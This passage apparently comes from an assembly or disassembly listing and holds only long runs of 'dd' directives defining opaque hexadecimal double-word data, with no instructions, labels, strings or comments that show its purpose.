		dd 75D6AC0h, 95BFE78h, 0BB86620Ch, 0D8680A05h, 0B23B6799h
		dd 349721E1h, 43DC088Ch, 2C110868h, 0BC0D160h, 0EE93DE8Bh
		dd 1C882678h, 5DB40868h, 26236680h, 61DB78BCh, 60963DEFh
		dd 91B0A25h, 0E44206F4h, 0FF4E1C7h, 6C96B300h, 0AFB5EF50h
		dd 0E1203AFh, 35842BBFh, 6228D553h, 4BD1E640h, 7815C926h
		dd 37B2F76Dh, 1FB0508h,	7A402111h, 0A393505Fh, 0B350A140h
		dd 0EAB1B514h, 0C750620Dh, 0C01231EEh, 5B30F73Fh, 0C95A2915h
		dd 0BC6C3880h, 0C001DF03h, 7D00A4CBh, 7287140Bh, 7A09E28Ch
		dd 8508AC3h, 0F451D910h, 0A01CF26Bh, 0EFF8A7h, 0B32D54D8h
		dd 0D031045h, 0C9A41C0h, 0D52B03B8h, 2E116E4Eh,	0EFF8A153h
		dd 0E08ACDECh, 0F3D0B1E5h, 0E8892D9Ah, 0B40DCC17h, 0D2AF6084h
		dd 6461F0Dh, 8A324330h,	0B2B6FC28h, 8D3A4258h, 6D908651h
		dd 931D8B76h, 264AFCFCh, 0FCFC4264h, 91512068h,	13223D9h
		dd 0C5C672FCh, 0A23F2933h, 21B8B725h, 35200815h, 0B2645021h
		dd 0EB450843h, 99022B76h, 58B902E4h, 0BB0E034Ah, 1E482E40h
		dd 34FB281Fh, 9F494096h, 812B749Eh, 2F65AEC2h, 85610C74h
		dd 61B5A03Ch, 0F4521081h, 948CA056h, 701F384Ch,	4E436C8h
		dd 0E080C9Bh, 94126102h, 282D51F4h, 0B9268AE7h,	0A24C50E2h
		dd 7C9C1214h, 1065AB3Dh, 20DFC771h, 762C6830h, 33758E59h
		dd 0B5106A8Eh, 30553114h, 83E051C0h, 1F640F82h,	64551802h
		dd 0BC16AF7Bh, 19A2A3Bh, 7357F4D0h, 0F4781923h,	0ECB9DCC8h
		dd 500F1179h, 0B8C91903h, 94D14B8h, 25515551h, 0E565C94Fh
		dd 647DF8F8h, 0D1BEA212h, 396A2623h, 0A972306Ah, 3F1B01EAh
		dd 31753F22h, 2884032Bh, 289EEAC7h, 1381D91Eh, 0C98D14DDh
		dd 0C73609Bh, 7407E83Eh, 0FF1490A1h, 0A32EF40Bh, 0F171F30h
		dd 0A16C6C34h, 43A18903h, 2B641ED6h, 0C1207672h, 5C1A05BCh
		dd 15C94A0Dh, 9ECFBB54h, 236CC25h, 0C2978C7h, 0D000408Bh
		dd 0D6A2151Eh, 6E5B0E40h, 4C0216B7h, 11200C39h,	150720Dh
		dd 330A010h, 2644D872h,	0D44B2910h, 1FBEB3B0h, 0B21B2730h
		dd 8632C8Ch, 91C1218h, 3B058C23h, 86AD0020h, 40225C14h
		dd 1265B613h, 44B6205Ah, 0AA4D821Dh, 2DBB2049h,	42364419h
		dd 12D9FDCCh, 90112E83h, 0FEEDAEEDh, 0C9625C32h, 0FEF17AA6h
		dd 1AFF6B8Bh, 5D9B180Ch, 0B2C8B418h, 0A28B1985h, 64C83CC8h
		dd 83442B2h, 0F2100CD3h, 180E65B9h, 0B88A504Eh,	9B1B05FDh
		dd 5B2185Dh, 0F7041A1Ch, 140C8D81h, 0EF1400B5h,	4358A32Ah
		dd 6938E12Bh, 11152C49h, 0DC1A033Ah, 0EE70703Eh, 0D81EA040h
		dd 0B4592708h, 26A8B3D0h, 0F8EFEB14h, 0FB03B3C9h, 16A0E862h
		dd 0A0E0690Ch, 5B6C94B3h, 4015D82Fh, 0DB457B08h, 40C7850Ch
		dd 8C014203h, 0D4853187h, 8F3E4FA0h, 1B6CA84h, 34FD34E3h
		dd 0E4BC80FDh, 0FC704742h, 79227279h, 0F81CFC70h, 0E49CF81Ch
		dd 0F81C0F20h, 0FD30FC94h, 0F90DE229h, 7E0FFC98h, 0ECE49C96h
		dd 0F4F4150Ah, 0F2390901h, 0FC90E384h, 720FC9Ch, 0FCA0C9E4h
		dd 0FCA0FC9Ch, 0E41C9479h, 0FC90FCA4h, 0E4F2FC90h, 0FC980073h
		dd 0FD34FC94h, 1E40555Eh, 0B253FC70h, 0E6849D09h, 15982DEBh
		dd 0D055F25Bh, 210C3887h, 0C72721A9h, 0A68499E1h, 0CCCF0DACh
		dd 231381A0h, 900661E4h, 65C4F727h, 75AF438Fh, 1264E35Ch
		dd 0D223A919h, 40A3D049h, 167B08CBh, 753A1ECEh,	0C0400D0Fh
		dd 900E0C18h, 0D37BDFDh, 0B46805F8h, 0C3D899A0h, 69B0C601h
		dd 16215CBFh, 0DB935519h, 0FB4CFB08h, 184B0EE9h, 12770EBDh
		dd 5205BA4h, 29905BCBh,	671557BFh, 34059670h, 0D97A4598h
		dd 173B1B48h, 662CB331h, 52872580h, 0B2254C98h,	0E72204B7h
		dd 802A2914h, 944AB09Ch, 35192CE4h, 90FEA4D7h, 3C09204h
		dd 0E0B8008Eh, 3A40C504h, 0B244D28Ch, 48A68E67h, 142505FAh
		dd 575EC6CDh, 41A64018h, 6793330Dh, 6CD1B4Ch, 36C8B936h
		dd 6263B0Eh, 3A85B390h,	4C3A84CDh, 0A3C64919h, 9C142608h
		dd 0F608425h, 0C8804FADh, 0F681AF07h, 0E8368076h, 4518CE00h
		dd 1410AC18h, 0A3764B2Dh, 0BDAC1412h, 128815F3h, 67B00761h
		dd 44CC465Eh, 942305FAh, 0CDD11EC2h, 0BE59801Ah, 147CCE47h
		dd 0F7B70420h, 8B1DC9CCh, 804298Dh, 6078A501h, 19115787h
		dd 0E7E46480h, 9A65AFC3h, 4B00B2FFh, 893CF83Ch,	0E97CBD96h
		dd 0F8400C66h, 0D9F23BD1h, 0F840F838h, 2F178B7Eh, 0C2079F2h
		dd 0F840F840h, 0A2407207h, 440B0619h, 92D968F8h, 84F84407h
		dd 9017D8B3h, 58B780Bh,	84418D5Bh, 96D05E0Dh, 12257A63h
		dd 0DF21C60Eh, 1374861Ch, 258384DDh, 0BE41CCB1h, 0B4C00AE7h
		dd 180CE71Dh, 61601ECDh, 2F387594h, 57CCE86h, 708C019Ch
		dd 56228A8Dh, 7E769E05h, 139C7AC3h, 0A5831736h,	0B6572514h
		dd 0A04456D0h, 0B39D3B4Dh, 17165C81h, 56236601h, 287BBD98h
		dd 6820FE4Bh, 85CA615Bh, 917B3734h, 634CD41h, 89832E0Ch
		dd 97F222Fh, 0B8B3BC06h, 4D75EC31h, 81344217h, 81A22DD2h
		dd 0A32C2F6Ch, 1AF68095h, 9FB8113Ah, 0F6577236h, 0C61B17BAh
		dd 5369481Ah, 18C96032h, 3930304Ch, 30207656h, 1611A31Bh
		dd 97BEAC96h, 0E12E0A16h, 42D2C270h, 6026B5E0h,	508E8409h
		dd 45605212h, 0A2415D84h, 0FA1F90E0h, 0CC9EA438h, 303374A5h
		dd 0DF6A8079h, 8047DEA1h, 22DF7303h, 0BF761003h, 20932211h
		dd 20488052h, 0B0395FEBh, 0FD1AC0E7h, 64FE114Bh, 2D7B21E1h
		dd 7A3E3975h, 74C3277Fh, 16121456h, 8EE52E1Bh, 5ABA2D7Dh
		dd 25C0183h, 826CD3D5h,	94158A59h, 0C6C8929Bh, 0C8726E05h
		dd 46062828h, 201B9E78h, 28A5F828h, 0C90A18D3h,	0D4E2718Eh
		dd 7B3467C8h, 1CC7FB07h, 4391855h, 5A75728Ah, 8403474h
		dd 0ECC3F09Bh, 74AB3C24h, 3209FC81h, 27D1E136h,	0FC8A4C8Bh
		dd 21672CD3h, 8B586D93h, 140E2080h, 6DD96F7Ch, 1B812485h
		dd 0AF09900Ch, 0AA3A4E4Bh, 0BC31080Bh, 0D1EF0E20h, 6840CC0h
		dd 426211ABh, 95D3BE24h, 42E5498h, 0BACB99B4h, 1E43EFD1h
		dd 0A58010BEh, 7068C524h, 95B77DDBh, 85C6373Ch,	0D528011Ch
		dd 1031CDAh, 10833620h,	0B0764829h, 72EB2409h, 5229753Eh
		dd 7704FB03h, 0B2DE1061h, 0BB792B1Bh, 1BFF0144h, 95457525h
		dd 7006C01h, 6443F32Ah,	0BEB2549Eh, 20958942h, 853BC6F8h
		dd 0FD82D622h, 73077C11h, 27250781h, 68AAF0Fh, 23201010h
		dd 455F0C05h, 0E0474494h, 740B2E80h, 448D9C13h,	7806B803h
		dd 0FC0C271Bh, 2469CF88h, 0C50FB461h, 0BC294D92h, 7A7CC6EEh
		dd 0EA925E06h, 0E41D90Bh, 1AC5E13Ch, 3DD9692Ch,	0F5EC8C18h
		dd 1A743FC8h, 8DC815E0h, 0C3CE5058h, 0E317EEC4h, 0CDDD8C8h
		dd 0ADD085C8h, 36C96219h, 0BE117DA1h, 43B03880h, 212AB22h
		dd 764D5180h, 4B4011F0h, 0D9760624h, 1E501682h,	0BD86244Bh
		dd 5EE70F3h, 27674B23h,	4B1AD846h, 0C2C9030Eh, 80206385h
		dd 0D6A1760h, 77848050h, 9518BC36h, 590CEE80h, 9C053496h
		dd 0B89FA17Ch, 0E98412C8h, 0EE6A949Bh, 33BD9A00h, 670C06EEh
		dd 0C5DA184Fh, 6A41E910h
		dd 6C25FF11h, 21349152h, 80842612h, 4CB83EB3h, 62B8231Ch
		dd 0A8A935CAh, 68A218CBh, 0C51B6008h, 0E9A75BD7h, 0D122CA1Dh
		dd 0D5B49778h, 0EE937C9Bh, 0B906B4A4h, 82AFA266h, 0FAE08005h
		dd 0E13EB605h, 1B03829Dh, 187521BAh, 0DE2078D4h, 0A42D4963h
		dd 5A547B05h, 55041B03h, 6153341Bh, 5FD50AFh, 242D008Ah
		dd 42D1121Ah, 69EEF70Eh, 8FF8817h, 8069D883h, 776DFB65h
		dd 0C8E33CEFh, 0F5F8EE28h, 6E43FF7Ch, 0A2FC8D41h, 21146DC8h
		dd 4A58011Ch, 4496E885h, 851755F2h, 4083662h, 680BFC73h
		dd 7EED1565h, 6DA4D7EBh, 84153EE4h, 0F0C7326h, 321E8006h
		dd 0EB283E20h, 734050E4h, 0B8E88515h, 8C809E50h, 22538A11h
		dd 88BF5019h, 0FEDEEB28h, 81E4F548h, 73023C50h,	15CA01E0h
		dd 4848DBEFh, 0C175538Ch, 4D3BC6DCh, 40AD5569h,	55754021h
		dd 40571EE5h, 5EB9EA09h, 11C0EC55h, 413D149Eh, 44DB1EFFh
		dd 425BA4A7h, 0F82931A0h, 0F500ED04h, 0FF498A27h, 3C36C80Ah
		dd 92D94721h, 5B046F48h, 2532048h, 0D86C7077h, 62AE4B6h
		dd 869402Fh, 235C92CBh,	57D695Fh, 0C63B03Bh, 2AECBC33h
		dd 6FD08708h, 6B808448h, 325AC9Ch, 0F4AB74F3h, 0A82C368Ah
		dd 188BB23h, 0B2FA6993h, 83FE6FF7h, 0B38830E0h,	2075108Ah
		dd 2AED812Eh, 3B010CFCh, 29DDDB79h, 1F84DCDEh, 0C1096560h
		dd 4AE144F9h, 0FECA396h, 26AC10Bh, 81D90D3Ch, 5EEB1D64h
		dd 0E4210667h, 0F064916Dh, 223FE083h, 7360693Ch, 585CDB78h
		dd 8A331580h, 25AEB0C2h, 0D32A5C23h, 5DD1B2FCh,	0DB4E6C56h
		dd 0CB5E41A3h, 11258688h, 0F5589C98h, 502D06D7h, 0E1E8A8FCh
		dd 0E867591Bh, 0F9008B0h, 780BBF55h, 68F04DCBh,	44EB84h
		dd 0C056AE2h, 37FF8A26h, 88A5AFCh, 888C1D2h, 0F6754A40h
		dd 187FCB95h, 3308E151h, 8AC033C9h, 0D0BC1E0Eh,	0F983FA88h
		dd 1F037261h, 0C1037F80h, 36F6FEEBh, 3A898A85h,	3C0C10Ah
		dd 35DCEB46h, 1BF825Dh,	35980819h, 84FE8B0Ch, 846FFE49h
		dd 0AA34AC59h, 10CC002h, 1951E2AAh, 0AC5BA910h,	0B6978D44h
		dd 0EB74082Eh, 332CF307h, 0A5D81D7Eh, 4499BB68h, 0CB08F9F7h
		dd 7B0C1004h, 0D56A0B1Bh, 42A2A10h, 10832B11h, 0D0F708F5h
		dd 886632B7h, 8684D38h,	92D92395h, 0E2C17D87h, 0C2326D02h
		dd 30DB0211h, 0E80104E4h, 0D9B5C3DDh, 35364B28h, 99D9A765h
		dd 2F756CAh, 80E442B5h,	79DE330Ch, 90F2D994h, 0B9DDC32Ah
		dd 178175Dh, 6FDE5E43h,	3E4050A8h, 1508820Ah, 0C28B1788h
		dd 0B43216F6h, 7E106421h, 37407D0Ch, 479B921Bh,	129B759Bh
		dd 0C9688871h, 60B8CD32h, 0F2137C10h, 0D5012119h, 0B1D615D0h
		dd 153B4836h, 88782F1h,	80B155BEh, 0A0B32A38h, 0DD3032C5h
		dd 0CBC4889h, 31B582FCh, 0E8145A57h, 0CDB2EFE8h, 5DBF93DCh
		dd 0EA18F2FEh, 0B645930Ch, 772B5F05h, 0CAD872F8h, 2A129926h
		dd 5B0AD944h, 0C18955EAh, 8B3CC22h, 4BD898C7h, 45237BD0h
		dd 0ABBF0867h, 209EFCDh, 8FC8FDEh, 98BADCFEh, 3254760Ch
		dd 0C25DF410h, 62F8D63h, 185D0014h, 59B8840h, 10372453h
		dd 0D8C1048Dh, 0A23ECE5h, 733B1710h, 0E2AA0A0Dh, 4014EC6Eh
		dd 0C1261417h, 66961DE8h, 1421FC73h, 4813BF03h,	583003FCh
		dd 0E84D0615h, 61D47668h, 37188005h, 0EF805840h, 62508A1Dh
		dd 0C761650h, 0F8673063h, 68E2C06Fh, 0D90B08D4h, 18A4FC15h
		dd 838503BEh, 1ACAE3BFh, 0F60C4881h, 51663046h,	7240AA10h
		dd 0AB26035h, 2D38B982h, 4F27CD96h, 0C08338D8h,	40E88340h
		dd 948C9BEBh, 3584C5BDh, 26FC0C2Dh, 0D39863DBh,	3B0CCD05h
		dd 6A3E8558h, 6A1780C6h, 0E053DA3Fh, 0D0F8A13Eh, 0BC367308h
		dd 464E419Ch, 0C66C1BEh, 0C161E00Ch, 1F386ADAh,	14EB2314h
		dd 0A1F6135Eh, 3950088Eh, 0BEC0BA6Ah, 60D01DFh,	3B3F5050h
		dd 2DEA9951h, 20E9109Bh, 65A10FB3h, 0D0471DEFh,	6110EB5Bh
		dd 75165A70h, 101AE4D9h, 6673EA83h, 65B0C463h, 7655021Ch
		dd 2B03B015h, 41186854h, 9901919h, 18021039h, 9E0C187h
		dd 0E282EB03h, 9D24B150h, 0B045075Fh, 9F40F2D7h, 8E6620ACh
		dd 80CD976Bh, 0F46C6D9Ah, 0F0A90C08h, 0E25B4723h, 0D1F7A21Fh
		dd 0DBF04D23h, 0F2B03E03h, 84FE28A4h, 6AA47801h, 7E054D7h
		dd 0F6AC0DDCh, 1D19E9C1h, 45231914h, 9E59BDF8h,	0B4F439CFh
		dd 0C7B756F0h, 0B73677E8h, 39F0598Dh, 1439120Ch, 5F7DF310h
		dd 2308688Ch, 0F839F0CEh, 0CB378831h, 70DBF4B8h, 0ED032420h
		dd 396DCD9Dh, 0F391211h, 0A77C2310h, 8F0B382h, 0FC390023h
		dd 0F73BC26Dh, 0EE39BABCh, 77C1BDCEh, 0B3BC5C39h, 391216B9h
		dd 0E45E100Ah, 8F65327h, 0FAFC0E7h, 0FC85F57Ch,	2AC42864h
		dd 0A14787C6h, 0C80C9F90h, 0A8304613h, 93F21432h, 469501CCh
		dd 864FD0FDh, 98D87E42h, 0AFD46980h, 50C9F9F7h,	0D88B44C8h
		dd 0FFFF5BB1h, 0A193F21h, 5CD7BEDCh, 27E42889h,	1122E043h
		dd 850C6B90h, 93E464FCh, 0E8FD9871h, 9F90A193h,	0A679438Eh
		dd 50D232ECh, 0B40821F2h, 0F065F049h, 6FF21C8h,	1E2562E7h
		dd 632005F6h, 0F41BC91Ch, 1C8CF47Dh, 40E76FF2h,	9C040B3h
		dd 0C2320617h, 0F895F891h, 0FF21C8C9h, 5E5A51E7h, 6F120E26h
		dd 0FC1D6320h, 94E7FC4Dh, 0AAF21C8Ch, 14E9B6C7h, 7E42860Ch
		dd 105DC472h, 0C9D8D62Fh, 534FC850h, 0EC024414h, 0F90A193Fh
		dd 0D8A1E681h, 0D3FBC8C0h, 4327E4E7h, 0CDE6D421h, 0FC8521E1h
		dd 0D6E82864h, 0A1C33707h, 0BC0C9F90h, 0F4D50D87h, 93F21432h
		dd 5A14EDD0h, 864FE445h, 0E9057E42h, 0F8B8A9E3h, 50C9F9A3h
		dd 0CCFCEFC8h, 676F02D9h, 0A193F24h, 2A4C8AE0h,	65BEB38Dh
		dd 3333085Bh, 9480C482h, 42F21C8Ch, 4FFFA39h, 0AD93F21Ch
		dd 793533D8h, 71F681D0h, 8C94D887h, 33150B1Ch, 9F587235h
		dd 61228AA4h, 10726D9Dh, 325362D9h, 0CB353310h,	21C8C8E8h
		dd 0E5380C3Fh, 80917FDh, 0B45327E4h, 0A4BEEA44h, 0E4FC811Ch
		dd 0DECFA9C0h, 2393CC4Bh, 4B509F90h, 7ED8F6BBh,	70F20472h
		dd 0E4BEBFBCh, 289B7EC6h, 408E4FC8h, 0A127FAB0h, 0C9F902EAh
		dd 3085BC11h, 2047D4EFh, 5C8393Fh, 0D404881Dh, 27E408E4h
		dd 0D9D4D039h, 811C9FE0h, 0DB99E5FCh, 7CF8ECE6h, 2393F2A2h
		dd 65B81F90h, 0BDC4AC56h, 1150AD5Fh, 3CC80B43h,	197EB0E4h
		dd 2922446Eh, 0CF0616F4h, 1A64A5F3h, 0CCF8FC38h, 59F90E46h
		dd 2AFF9715h, 0F5160A43h, 384A5F3Ch, 64E8FCF0h,	149F90E4h
		dd 0AB9423A7h, 0CF67110Fh, 0F438A5F3h, 39E3C4F0h, 0E4391928h
		dd 15FC93A0h, 0FC845C0Bh, 59C3E064h, 93BC655Bh,	929F908Bh
		dd 0D88F0CCCh, 0F211727Eh, 0FFEFF47Dh, 845DD1B4h, 2E4FC885h
		dd 7E4FD042h, 0F9086FA8h, 0E0EC45C9h, 17FE2CE6h, 0C8B93F21h
		dd 0A3014314h, 0E422E4E4h, 811A127h, 5C9FC04Eh,	7E82FC84h
		dd 35DCF753h, 93F23AF2h, 0B8BD908Bh, 2AD7D2BBh,	11727E4Ah
		dd 86D391D4h, 1AE154EBh, 0B7C2210h, 33380C5Ch, 0F095C327h
		dd 4E03195h, 80E032Dh, 18CAF048h, 40E0333h, 11C17225h
		dd 0C9536041h, 0B69177DAh, 0C1014908h, 0E8608E1h, 9640659Eh
		dd 18031002h, 6F159FCh,	8A04302Ah, 223AA7EBh, 0A6208AE8h
		dd 6828B6F0h, 37699613h, 0D153D24h, 904A974h, 43243220h
		dd 0B4B00FF2h, 0D63152B8h, 1C0A4B16h, 5441B32h,	58AA71Ah
		dd 7EF9E79Eh, 9C30356h,	0C2B4C1B0h, 79EC9926h, 0C727C6B8h
		dd 90D552C5h, 3646C449h
		dd 2063D86Ch, 472C2E30h, 521B27BAh, 40CBD3CBh, 7FD3C91Dh
		dd 0C9BA47BAh, 0D3CA0D56h, 0D3153BCAh, 0BDC803C0h, 256BBC11h
		dd 0C181C929h, 0C2D3F111h, 0DF672103h, 2F3F1B8Bh, 891D5FB4h
		dd 33BD0658h, 61A196BCh, 9214AC58h, 0D32B7A74h,	7AAB82DDh
		dd 0A841D233h, 5D2C08ABh, 214B0A5Eh, 8532761Ch,	214A223Dh
		dd 40BD51B0h, 18AA0032h, 246B0C40h, 0BBA05E1Fh,	66503548h
		dd 1E76030Dh, 71B3A819h, 0DDFCAF47h, 0C2B0F54Fh, 0DCEB6718h
		dd 0E9D0088Ah, 76377EF8h, 0D95D291Ah, 82F88088h, 0E0255415h
		dd 30150740h, 0F14D8DBDh, 0E154F501h, 19183206h, 0EAE88B3h
		dd 0C8BD0C02h, 8A4F5006h, 8F227683h, 1BD8580Ah,	12055A1Bh
		dd 0EB90BF75h, 0F0C92DD8h, 720321C0h, 0B90DC0C0h, 200DD121h
		dd 0EFF7E2AAh, 70B01566h, 7FF85C43h, 5A3B0E7Eh,	33211D06h
		dd 4021F321h, 823224EFh, 95488954h, 4DCBD90Ch, 727A5A7Fh
		dd 1B78300Bh, 0A77C486Ah, 80CEA024h, 715C3EE0h,	59344732h
		dd 2C6A4412h, 2D021E08h, 4B84CFBh, 8C3C55EFh, 5B232FE4h
		dd 0B816200Ah, 2B49A819h, 2A0E823Bh, 8014664h, 0F27DCAACh
		dd 0B0FF00C6h, 0F1FE09C2h, 152F6E28h, 892070DBh, 6C1EF091h
		dd 83697546h, 0FB0D8CA5h, 8B0767CCh, 0FC8CFC8Ch, 785A6805h
		dd 7DB40603h, 168DCC1Ah, 3451DFCh, 0CDEB9C34h, 0A0680A6Ah
		dd 7A22C0A8h, 0C83DCF10h, 824006D8h, 328A15F0h,	44F6324h
		dd 8E2BE868h, 436321ECh, 15E4C632h, 8C81F4CAh, 94680B3Ch
		dd 3E6B8CEh, 473C0060h,	0BD3AD2CEh, 88C305E7h, 68182733h
		dd 660D85FCh, 8010BB01h, 1534F48Ch, 2B6C7ECAh, 6A0889DAh
		dd 0A8186844h, 7B2B92Bh, 6A204439h, 2A665490h, 20019079h
		dd 19AC6804h, 46C9908h,	9BD8E02Bh, 0DC081902h, 1E4AD858h
		dd 545828ECh, 3BB46806h, 699064Ah, 94D50808h, 0BC2640ADh
		dd 4C8118A9h, 71C40472h, 4002C591h, 7A410358h, 2F608B0Ch
		dd 721D6072h, 3461641Bh, 0DE68FC90h, 513B7250h,	5FC9433h
		dd 0E4A9B027h, 680AC3C1h, 0D92B0ACCh, 32792A64h, 0E326068h
		dd 0B721836Dh, 28F4940Bh, 8ACADA18h, 0F49CCF9Dh, 0B23EE488h
		dd 0B54072C2h, 320AAF2Dh, 4C86B456h, 0C2872139h, 0F4FDFCBEh
		dd 1FBF02FDh, 0FFFDF4F2h, 2C89685Ah, 6B5BAF50h,	1053BE74h
		dd 73064427h, 43B9C7h, 5CB58C03h, 3F833C91h, 68DEDCA8h
		dd 88F92230h, 52C04FB0h, 206CA1D0h, 0BA415088h,	380F8E47h
		dd 0B1B6447Bh, 0B1303EEFh, 0DB606A59h, 6C8A67C9h, 0CA0D6B1h
		dd 0BC4BE8B2h, 547CD40h, 0BF1B850Fh, 95AAF6A2h,	10E4BCDh
		dd 2DF880F1h, 0B2B05C86h, 8D0E1043h, 0DA78A281h, 0B903E3F5h
		dd 0F50EFD40h, 1264B800h, 0A33D3645h, 60C0032Bh, 7EFDF43Fh
		dd 269BA0CFh, 103A5C75h, 0F77258B4h, 4B7C8C81h,	4F7E0815h
		dd 0A23204C8h, 386820AEh, 9E40F073h, 6A68D2B3h,	88E5C47Ch
		dd 8E28D256h, 462C2B09h, 882A244Ch, 40A1438h, 4C2E4326h
		dd 4133266h, 0C200C931h, 5CC1F903h, 0EFB4FDB3h,	0B91303E8h
		dd 311A16E0h, 3A512490h, 4AEE66F0h, 83226606h, 12E41C2Dh
		dd 84FF41C9h, 10F484F4h, 6EF4CFEh, 7D100564h, 0ECB10D1Fh
		dd 6C1C5E1Dh, 1B2D3B41h, 16E66869h, 0A31762E4h,	0FCD33D94h
		dd 0F1A9CEh, 68A0F80h, 2038A210h, 0F4B2BDA0h, 0D0521E73h
		dd 3DC3E02Ch, 0BC05C06Bh, 0B0536146h, 0EB31BBF4h, 5B4032D3h
		dd 29DDC049h, 35757F3Dh, 4BC13D3Ah, 0F805A4A6h,	20294EEBh
		dd 0F48258DFh, 0C16C4269h, 0F061AC76h, 1032F07Bh, 0E9BB2A23h
		dd 3C4B2D92h, 4815D4C9h, 564D8CF4h, 0CEB60230h,	808B5181h
		dd 4F1998A3h, 98083273h, 0FDFC89CCh, 3C50EF01h,	3808DE05h
		dd 9019F110h, 21350101h, 0A0F11024h, 2E0C1F9Ch,	13BCAA21h
		dd 119B3B93h, 8B3293C5h, 1AAD4F21h, 6D0C6E10h, 17AA016Fh
		dd 193F0E54h, 27212Fh, 7026EFEh, 1AB365C1h, 3EBBB51h, 0F0C8763Bh
		dd 1C740B3Bh, 22045573h, 209F5C66h, 0BDD9721h, 1D81EB1Dh
		dd 517E5489h, 58C94FAFh, 62E4B405h, 0E5705751h,	1E49B2C6h
		dd 0FAE87D16h, 0F7E40E0Ch, 0D57D51Eh, 0D3FEF49Dh, 78B5559Ch
		dd 199F3FFCh, 1AFDC82Ch, 6DED17ECh, 8D32AAC4h, 0CC26E8CDh
		dd 530BC202h, 67E0C93h,	0FAD54C9h, 5E07D484h, 36C84C23h
		dd 13D8FC75h, 3BC155E0h, 9052F45h, 80F93E00h, 901FAE0h
		dd 6884EDB6h, 0D5AC06E6h, 0C4D6AA3Dh, 37D8BB19h, 2B8312D8h
		dd 63D8723h, 0E4E42667h, 3A839EF6h, 2ECD0823h, 5B5E88Bh
		dd 0F0B04F9Bh, 5104101Eh, 0B9262805h, 0C6A00951h, 9158F48h
		dd 986861CFh, 6D05D6Dh,	5CC8B0E4h, 41A34B8Ch, 53EC64A8h
		dd 0AD93845Fh, 73AE0E0Ah, 7203D8E8h, 41787360h,	20C97068h
		dd 64043613h, 4C805C55h, 485410C8h, 43213201h, 0C804343Ch
		dd 20280C84h, 325A54CAh, 93655114h, 2728C9B3h, 0C006D4h
		dd 0C49393D5h, 0A1FAD0C8h, 74D9B218h, 0FAE4C600h, 0BA4190D2h
		dd 0C4072F59h, 0EF9F25C8h, 8A503259h, 0FEFC01B6h, 0EC443A20h
		dd 3A6E8B1Ch, 0F7EFC550h, 0E181833Eh, 65C10B0Eh, 478AB544h
		dd 84027C03h, 3410AAAFh, 80D38102h, 0AEC5F41Ch,	0FAC1CE1Eh
		dd 0FAB82BCEh, 1420005h, 0F545639h, 0D852FAB8h,	0FAB8C939h
		dd 6023FABCh, 95A2AE7Fh, 0C5E86823h, 851C81C6h,	2ADC104Ch
		dd 71E6C245h, 20C5D401h, 2B308212h, 32AC7231h, 0D448702h
		dd 1B45AB4h, 0B41C8084h, 9299093Ch, 0ACACAC91h,	90193614h
		dd 7B23B0ACh, 3C856216h, 60B04161h, 0E421C9E7h,	0FAB41402h
		dd 6CBB6122h, 5852890Dh, 84C81E2Fh, 0DD4C89B0h,	2C246100h
		dd 28D8824Ah, 2B74421Bh, 43B2C159h, 0EC35102Eh,	8216EBD8h
		dd 74408599h, 0A85866A8h, 79F01021h, 2AC52048h,	228B01F6h
		dd 0EB53EBCCh, 0AB46F551h, 74141C97h, 6C7B723Ch, 4503645h
		dd 34410D3Bh, 5FBAB105h, 21D0F410h, 325704DFh, 20684F14h
		dd 0B60BBCCAh, 80A0812Dh, 0D60AD360h, 35F20912h, 50AB9930h
		dd 486B763Ah, 0EC9B118Ah, 74C7288Ch, 0CB1DCC60h, 0EF09011Ch
		dd 0B08D90Dh, 9B7CC97Bh, 61139532h, 95985807h, 1A0F02C8h
		dd 145A6424h, 0BCD90B98h, 5C9C7C9Bh, 0EE6A21D8h, 8323B899h
		dd 896995A2h, 0C88881A4h, 5A8AA76Eh, 0E22F5148h, 6F485150h
		dd 0A5C154A0h, 6A9F328Bh, 14186B0Ah, 14F8968Dh,	3608B262h
		dd 0C76F129Eh, 4081E279h, 6574B044h, 0AC1EFABh,	50A0186h
		dd 6B3149A2h, 0F604057Dh, 6651C513h, 0F03BB00Dh, 476D383Ch
		dd 2C441229h, 0A9EC8A84h, 0F6091F61h, 58510D01h, 0D852229Eh
		dd 29F98FC3h, 0C3C5074h, 0EFC6DC19h, 0A4D98844h, 0D9808A80h
		dd 168337C8h, 82B38BCh,	0AB657F80h, 6808220Bh, 9B41113Bh
		dd 0F60B2ECDh, 6482150Ch, 315166DBh, 53A7019Fh,	0C4408521h
		dd 0ED057F7Bh, 0B80B3ECEh, 1E510E5Dh, 201CF732h, 4CA4F015h
		dd 204A3690h, 0C71094E2h, 54BC8424h, 1D599EC0h,	730CBC41h
		dd 0DAC89ABh, 9FCA809h,	0E38062A1h, 14464C3Eh, 0A853FF9Dh
		dd 75E00BFCh, 0E6ED1342h, 1518E417h, 0FE508421h, 27362A30h
		dd 456AFE50h, 25800961h, 25FE52F0h, 2AFD04B3h, 607B5438h
		dd 2F4506FEh, 0BB0B2B59h, 1D8A08BDh, 282E87B5h,	63AC161Ah
		dd 48901461h, 0A4BE3360h, 1565E49h, 1F75FD04h, 0C3998030h
		dd 8B3E3043h, 0E3F3E404h, 0C7883729h, 0B65CFCACh, 0F47F49E4h
		dd 22720DFEh, 0B83B5918h, 3484201Eh, 73FC3C10h,	0E5123764h
		dd 0A015688Ah
		dd 4E0B0609h, 98A4063Ah, 4403988Dh, 0C0645EFh, 73E6C95Fh
		dd 98F4A464h, 0F8F4A8F4h, 0B44036FEh, 0A45F262Ch, 0CD9F36F4h
		dd 0F8F49849h, 0A4F4A8FEh, 92F510F4h, 94F4A47Ch, 9BE88041h
		dd 5F50165Ch, 13705536h, 39B8E37h, 5EF27C9Eh, 81440677h
		dd 0E1B90E90h, 3B27636h, 8DF2919Eh, 38065026h, 80CE08ACh
		dd 40E86400h, 58C140E6h, 8390F17Dh, 0F494106Ch,	620FF494h
		dd 0AC5C820Fh, 387A30E2h, 74C29F61h, 1844650Eh,	1EF74E01h
		dd 7841B6E6h, 0F2740B62h, 82F611D7h, 4040EF7Ch,	7740D19h
		dd 5582F17Bh, 0B7005BDh, 453B16ACh, 0CDA31BB4h,	51466C24h
		dd 0DAF6112Eh, 24295009h, 36D5D616h, 6A4FB987h,	216C6813h
		dd 7CEB50D0h, 32BC3A88h, 24A58000h, 50F6C9CDh, 0D031E64h
		dd 81019392h, 29782CBCh, 57F294BDh, 70DEC2ECh, 148B73B2h
		dd 76061B10h, 7D9012B6h, 6CB41336h, 0C7203207h,	6CB70F04h
		dd 8ADDC166h, 0B80E6685h, 5C670B60h, 688CCC2Dh,	3F6377A5h
		dd 0F614F001h, 2D8A2F75h, 0F3C8CE04h, 603501B0h, 0D6892F2h
